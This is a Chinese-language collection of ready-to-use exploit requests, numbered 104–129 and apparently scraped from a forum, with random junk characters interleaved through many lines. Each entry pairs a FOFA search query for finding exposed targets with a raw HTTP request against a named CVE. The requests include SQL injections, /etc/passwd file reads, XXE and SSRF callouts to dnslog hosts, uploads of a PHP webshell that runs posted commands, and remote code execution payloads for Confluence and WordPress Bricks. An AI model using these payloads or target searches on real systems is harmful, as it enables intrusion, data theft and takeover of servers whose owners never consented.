User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
  \/ }0 M" {0 P: X( pContent-Length: 204
9 U" s9 c/ j8 z$ v5 |3 xContent-Type: application/x-www-form-urlencoded
) |  @! l" h: ^Accept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
3 e9 a8 q3 Z" g4 r
* i! N# d" Z0 U- B4 u
其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
7 w* C* y8 P$ W+ ?* B

$ Z- E2 p5 \" `4 Y: X6 c$ L% ?8 i  f104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
  \% ?; }6 k& O  `$ V& Y2 NContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
& u( Z1 j+ \$ n7 S7 oUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
+ z: x9 O( P, f  V" N; dAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
* Z$ c1 d' f. s: E  a4 j  j$ gConnection:close

{
0 \: G" J+ r8 v8 j"topicurl":"getSysStatusCfg",
"token":""
$ ?+ z4 M) y0 I  h6 u9 F* u}

105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
. v$ v, k$ Z8 @. p, X9 U9 v7 shttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
2 ]0 ~5 K( c% F9 x3 f2 O3 ?
106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
- Q, }. T4 _4 G* u  u* `& wGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
# Q6 f' }1 `4 m& wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
7 U8 c3 ~6 t2 g7 {8 d, nAccept-Language: zh-CN,zh;q=0.9
! H1 c2 r+ h4 EConnection: close
' b( o6 H, d3 \+ I, z5 }- A( ]# |
5 J! J5 P+ N( S( @5 |
$ [1 Z) @5 ~. ]; S107. SpringBlade tenant/list SQL 注入
  K) r7 j; u: }) K% nFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
9 D  F) G2 d& f8 ~8 w: E8 g; v- dHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
Connection: close


108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
% J2 a* M+ Q1 L# }Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
8 D2 r! l! k: e# d$ y) [2 NConnection: close

* y" {' a) D# D) l
1 a8 J$ Y/ a3 w7 ]* A109. Jenkins CLI 任意文件读取
CVE-2024-23897
4 v( v, x- h- i* CFOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
. u6 f4 q! Y5 ~0 K8 D5 aHost:
! E2 p" \7 p+ o* O) z2 [Content-type: application/octet-stream
3 m; p5 p) {1 L, _, o5 d& mSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
7 Z7 i' z2 R: {& v' ESide: upload
) w# W0 R3 m3 C% ?0 J) j" I* S! @Connection: keep-alive
Content-Length: 163
% D  u8 F, h+ _/ h7 x) t8 N
* k; h; k& V* S0 pb'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
+ d2 t8 W8 k6 W) C# Q) f6 D  n
8 f- B* A$ r! i/ C6 F+ ~3 w( L
2 f3 s, U, Z; O' o! \( zPOST /cli?remoting=false HTTP/1.1
, b5 H6 G+ W$ ~& n* uHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

: Y7 ]; \( A$ o$ I* p; [
2 o: l( \7 h( eERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
8 j. l+ _* B& ?2 D: z3 m+ O[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

0 Q. x/ f; Z4 C$ ~) s1 |! ~
110. Goanywhere MFT 未授权创建管理员
3 V/ b  \- v# J8 F; w- k5 ?) DCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
' E6 _& z8 [+ q; a6 b" l; pHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
. s9 Y* }, `) eConnection: close
Accept: */*
6 c8 e. d" b9 I2 OAccept-Language: en
Accept-Encoding: gzip
, {) S; c2 T/ Q6 E' U& T
/ v. k' ~6 n) ^& k' \
7 L, d4 k+ }5 y: V0 U111. WordPress Plugin HTML5 Video Player SQL注入
( v2 e, |( t/ k; b  p/ g5 N; cCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
) }0 H/ e- C* u1 ^User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
! ?2 v2 Z9 V  P1 kConnection: close
) }7 o& h$ K5 j+ V9 X- |/ sAccept: */*
Accept-Language: en
Accept-Encoding: gzip
% y4 A* n, c* v
: S, X$ [( r' G% }/ B$ g9 l
6 g$ Z2 |5 s- L4 a112. WordPress Plugin NotificationX SQL 注入
1 g" l) }3 [3 p! A/ FCVE-2024-1698
  W/ c) |: i, e- m7 aFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
. s+ Y  }7 @2 V. [Content-Type: application/json
$ c; |/ a1 Z# @) Y- R- t" n
2 S' j  t5 V2 H{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
: t" }2 H. d% f% F) g2 e( \
' n8 G0 n9 E1 g$ i* q3 K
113. WordPress Automatic 插件任意文件下载和SSRF
2 c8 c1 l3 h8 p$ l$ s% [CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
! A& A' U, ^% j; I  iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
; c) \& Q  I5 z8 XConnection: close
Accept: */*
& |: M8 o7 B+ X# {+ pAccept-Language: en
Accept-Encoding: gzip


1 I; J7 V3 r2 C' N114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
" A' ^5 d- N- i5 P0 \GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
$ l1 b. v  P' p6 L6 m& uUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
+ l( Z5 @0 P7 m2 OAccept-Charset: utf-8
: p+ v/ C) G% V: Z7 i  p" |" t, ]Accept-Encoding: gzip, deflate
Connection: close
) i" @$ A$ J  ]6 v% ]

115. WordPress Bricks Builder <= 1.9.6 RCE
  w) y; S* ]5 A- a( P) V- @7 z% l( c+ TCVE-2024-25600
3 ]+ P8 H4 R) ]! v( MFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
/ E% @9 `' y9 QGET / HTTP/1.1
1 O/ w0 E  o' ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
" a5 X. Y) y) c( B; eConnection: close
Accept-Encoding: gzip

' q' @- Y( d2 k, x% m. `% B. F7 ?
) @" |5 \& c. |. ]第二步替换nonce值，执行命令
) o/ J- [( Z$ ?2 YPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
" A; @: w- n  m" x7 l8 E# a) B1 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
, z8 [& q  F9 M; `9 Q0 yConnection: close
7 O& E- |9 k8 pContent-Length: 356
, D8 _" E) }4 A8 e. YContent-Type: application/json
Accept-Encoding: gzip

! A* |! ]0 y5 k2 l! J1 h+ R{
' p) X; Y& f- f5 ]; p5 L9 s2 Y"postId": "1",
2 {6 I  D9 n: {0 ?  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
    "settings": {
3 ~9 P1 q5 m, P+ v2 {      "hasLoop": "true",
0 e7 N$ r! F8 g/ S      "query": {
+ ]2 I, m( k+ n        "useQueryEditor": true,
3 ~1 z$ A5 G6 r7 s( m' N  f8 B        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
* M  d+ l7 g* z7 {/ R5 u7 Z      }
7 |' k& Y$ |" @( F    }
  }
  p( R6 v5 T3 z3 X) n}


- a; Y7 H' k2 c' V1 A$ C116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
; p6 L$ z' A& i: U/ I" |POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
* `; \" o: F1 j/ n5 YHost:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

$ o0 @  r1 R6 j; p" N7 Q9 Y----------767099171
' N8 `* Z4 C- E8 I4 IContent-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
: P% O. B+ X9 K0 I; B/ ^Content-Disposition: form-data; name="form_request"
jssupportticket
3 ?# c1 r4 X9 z5 ^5 o----------767099171
1 A4 Y0 {, O: }* CContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
% Y3 V& s! Q7 i$ S# t2 ?2 ^- QContent-Type: image/png
----------767099171--
5 T6 X4 V3 i$ T6 |& O, N
5 h0 Q; b" W3 B0 Q% c6 ^
117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
- j9 w; p: C2 P; j2 L) pFOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
9 }* u4 M. ^& j/ d3 K# ]Host: your-ip
0 `3 j: o7 L$ O. `+ Z! eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
0 l+ q. ]' k, K' X; R  rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ o2 b3 ^1 K2 }0 u7 d0 ^" Y/ c$ dAccept-Encoding: gzip, deflate, br
% ?7 e! J2 k  ?4 u6 G6 mConnection: close
) ?) |" N% }2 \2 z& zUpgrade-Insecure-Requests: 1

8 S5 p" g$ v' V) h  m! n7 q' U
! m$ b5 ?5 ]3 y1 k, j118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
  P9 `: a  O9 r/ A7 f' S: {& bCVE-2024-0939
% [0 Y7 o9 `9 ?! K2 I1 i- tFOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
( Z" k% b. H( [Host: 192.168.40.130:8443
- y# g" x4 c6 _Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
. C) ~1 O. I5 \9 z0 K+ Q! L( o) ~Content-Length: 405
Origin: https://192.168.40.130:8443
' m# l2 o0 M% }6 m- i! Z* P; E3 hReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
& D: K- z  N  K  jSec-Fetch-Dest: document
1 I3 O  @& I4 G) R4 mSec-Fetch-Mode: navigate
8 z2 Z4 [+ k+ M$ d: ?' K# r: XSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
1 _( `3 X8 D! Z: Z6 G' N8 W
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
# D6 @* z( z9 u( H
<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
' m, {/ Y" N) g4 [2 r3 h" D- RContent-Disposition: form-data; name="txt_path"

/home/src.php
-----------------------------13979701222747646634037182887--
. Y/ G* T* N. w; R. N4 `

访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
6 B- E( \& J* E  t- QCVE-2024-1254
; H  G0 o8 k8 y( U. rFOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
$ V+ }) I# x; F. e* S. IHost: x.x.x.x
3 ~& S6 g0 A6 |# x" A, n5 U# Z- nCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
/ @9 w% A; a' z! G6 S' \/ T* eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
- f+ X3 O2 R1 ?7 D7 I9 ^Accept: */*
% F. Q3 g$ H- `* C6 u8 |$ FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
3 o3 I/ m3 y5 c) ^5 S# |Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
8 y  X; r  W6 B$ H5 @1 [Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
6 q/ v& T9 Q# N5 N9 I/ X1 v# ]X-Remote-Addr: 1.1.1.1
" E' z. @- L1 `: H! [. @5 oTe: trailers
Connection: close
  j6 B* m. u, d: y  ~
5 f" G' H: ~1 P- U/ gsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
0 f2 O( d; d) T% b1 n) eFOFA：title="Smart管理平台"
, G& R  l4 Q# |* U- O" _& u1 sPOST /useratte/web.php? HTTP/1.1
Host: ip:port
/ K4 c+ Z: G. H* |! N3 _8 KCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
4 x4 P) s3 x3 _! fUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, }* S& k/ S: y# s. |1 ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
1 ~2 I1 x' M) T! b8 nContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
- Y! \% b+ P  m, NContent-Length: 597
! j3 r9 @* s1 S& X. ?Origin: https://ip:port
- Q( L( u( g" h5 j/ ~  L/ \8 w. Z8 [Referer: https://ip:port/sysmanage/licence.php
7 P2 k' |  s5 V0 ?8 ?Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
# V& \$ `" H5 [Sec-Fetch-Site: same-origin
! D- M- j+ V1 p( E4 o# ?, h6 TSec-Fetch-User: ?1
# X$ M0 P9 Y: z5 G* @8 [Te: trailers
/ a& S5 l* G; O; h* F4 zConnection: close
) {' S" Y2 Y6 n3 F
+ c( k( B7 `$ r4 Y' w-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

3 {/ e- y8 L6 Z<?php phpinfo()?>
/ E. T; x( B: P$ Y% @( n* {-----------------------------42328904123665875270630079328
4 G8 Z4 J9 @7 h7 dContent-Disposition: form-data; name="id_type"
! h3 A0 C+ ?6 ?* v: X& J
8 X. Q: k% J1 c/ I/ u9 D1 `- s1
-----------------------------42328904123665875270630079328
) V" ~8 o0 l0 `0 E. xContent-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
1 o4 k9 j: d  k" K; `( u2 fContent-Disposition: form-data; name="mode"
( L; o8 h: k% ?
import
-----------------------------42328904123665875270630079328
( @9 `, t+ q3 V" K
. x3 a5 v" W3 I+ U0 J. m1 k7 ~* K
/ g4 G% C6 ~9 f0 N  ^文件路径/upload/2.php
  g! f# t8 ?* p) i( g; g8 O
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
# L& u" @, m4 _. q. e6 `) L0 ?POST /useratte/userattestation.php HTTP/1.1
& d7 |* M5 T8 ]& w/ A' j( UHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& ]' Z/ {1 _. SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 _" W6 ^" [9 k7 K. `Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
4 H% W1 r2 O# s5 G3 PContent-Length: 592
Origin: https://192.168.40.130:8443
, q5 _) Y& y9 d  u! \# mUpgrade-Insecure-Requests: 1
6 B9 t; m2 Y" R& [. P  d" fSec-Fetch-Dest: document
) P4 e2 B& H: x' A4 }- RSec-Fetch-Mode: navigate
) T0 V; b$ z/ cSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
. n5 u1 g0 @- Z0 ?6 gTe: trailers
6 n; t6 |2 ^: _* [# G$ a% e9 lConnection: close
0 B1 _" I5 k8 x; S5 l6 `
-----------------------------42328904123665875270630079328
- V* j5 R" E  _* p# V1 OContent-Disposition: form-data; name="web_img"; filename="1.php"
9 ^9 Y6 d* z$ @# W4 q0 b7 HContent-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------42328904123665875270630079328
# z- a8 B) B- q% RContent-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
-----------------------------42328904123665875270630079328
, d8 m/ C+ H/ P& GContent-Disposition: form-data; name="hidwel"

set
-----------------------------42328904123665875270630079328

& D) a* F7 C! O5 ~: o7 O1 D
boot/web/upload/weblogo/1.php

. U+ A: W1 {( K# ^2 Z122. 北京百绰智能s200管理平台/importexport.php sql注入
/ p+ X. t" m# p% @9 @) k9 v% n# XCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
' V# ?; d) S/ `/ D* {2 hGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
5 O: p& g1 M8 t' q# ^. AHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 E* M+ L# {* V! _/ i" X1 YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 X' U/ e8 i( H. x" d  I- HAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
$ ^: o8 D/ t; I; }) Y" F0 nSec-Fetch-Site: none
5 Z  {: S" m2 W$ U' HSec-Fetch-User: ?1
Te: trailers
Connection: close
, n9 V* t) t4 |3 P6 \

7 \- p8 I* D. e8 [123. Atlassian Confluence 模板注入代码执行
; ?8 H0 x( ?; u$ eFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
# t) C* ]1 l" I7 _POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
! g: e3 v* R6 Z# P/ b  yConnection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
6 i( ^" {9 L) n. N9 _9 X3 U2 j
# ^5 K, m' p! ~4 M3 J. s6 ^$ K) H5 U
! r! [( Y3 [% c3 B124. 湖南建研工程质量检测系统任意文件上传
' t& ]9 S! X0 [3 C% l. p9 EFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
# c  L. U( p0 N% T3 U* O; v! XUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
: h$ u; D2 ?, Y! z3 c. iContent-Length: 72
: w6 ^7 ?' R) b) V' F1 a3 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( f/ W6 V' Y* K# C* Q5 X& @& sConnection: close
Content-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


( g1 X5 X) H# phttp://192.168.40.130:8282/Scripts/abcgcg.aspx
4 j! V* ~/ i+ f% v- C2 a
  o- L( D  w; {) f: T* p. d125. ConnectWise ScreenConnect身份验证绕过
. Z) K3 s# L5 f1 x7 p* WCVE-2024-1709
FOFA：icon_hash="-82958153"
! B1 ^; p+ a3 _' P0 A8 nhttps://github.com/watchtowrlabs ... bypass-add-user-poc
/ _) v5 f. L  @# B- l5 |$ a
, R; b$ g  b8 d: `# R& t1 v
& A2 o; P. I' c% e" ?$ U+ n3 u6 r9 S使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

: |) c7 ^# G1 b
创建好用户后直接登录后台，可以执行系统命令。

126. Aiohttp 路径遍历
8 [, _$ z3 z6 CFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
# o, J, ]1 T7 F  ~& h5 g5 O1 Q" fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
% }6 C6 R  l" ]! ~) ?Accept: */*
" H7 m& b* `3 f  m1 t! l! r+ xAccept-Language: en
9 Y. D, P$ y# a* nAccept-Encoding: gzip


127. 广联达Linkworks DataExchange.ashx XXE
+ m! k" s( V/ h" ]: S" bFOFA：body="Services/Identification/login.ashx"
9 }& n7 Z  u3 a% @& @- i! i8 Q. MPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
' Z  Y. s% n# d- P, I& w; FHost: 192.168.40.130:8888
5 _4 [# @% v7 z) J; l& FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
3 x) d. ]6 P) B1 b: j  QContent-Length: 415
% v( v! {: I0 `5 mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender
; B- q' k( o. m5 I+ ], q" j
0 V! H2 [# w( P2 }$ E, b6 w6 _3 _------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
% E' \. F! J3 K! l7 ~------WebKitFormBoundaryJGgV5l5ta05yAIe0
' A/ W- q+ n4 r1 z5 l0 L/ O8 LContent-Disposition: form-data;name="Params"
' U/ P% H3 N. ?; ?* R& CContent-Type: text/plain
0 A/ l. k2 [! {
. }8 S- p+ m2 `<?xml version="1.0" encoding="UTF-8"?>
* X* j5 y1 [# {3 {% [  a6 S<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
8 P, q& {9 S% m8 n" {]
>
<test>&t;</test>
9 T% v3 g5 ?+ t7 q1 [: F------WebKitFormBoundaryJGgV5l5ta05yAIe0--

/ S9 P+ g, \* Y' t
( R6 c) I3 T  z' L
128. Adobe ColdFusion 反序列化
8 C3 h. n, m/ w! `CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
3 N# ], [. e) O& n' g2 oFOFA：app="Adobe-ColdFusion"
PAYLOAD
0 q* J% \- l+ L* P* ]1 t/ z1 v
" X, T& u  j+ ^! ~  x+ ?, L& f129. Adobe ColdFusion 任意文件读取
5 Z; c+ z) j" l& ?CVE-2024-20767
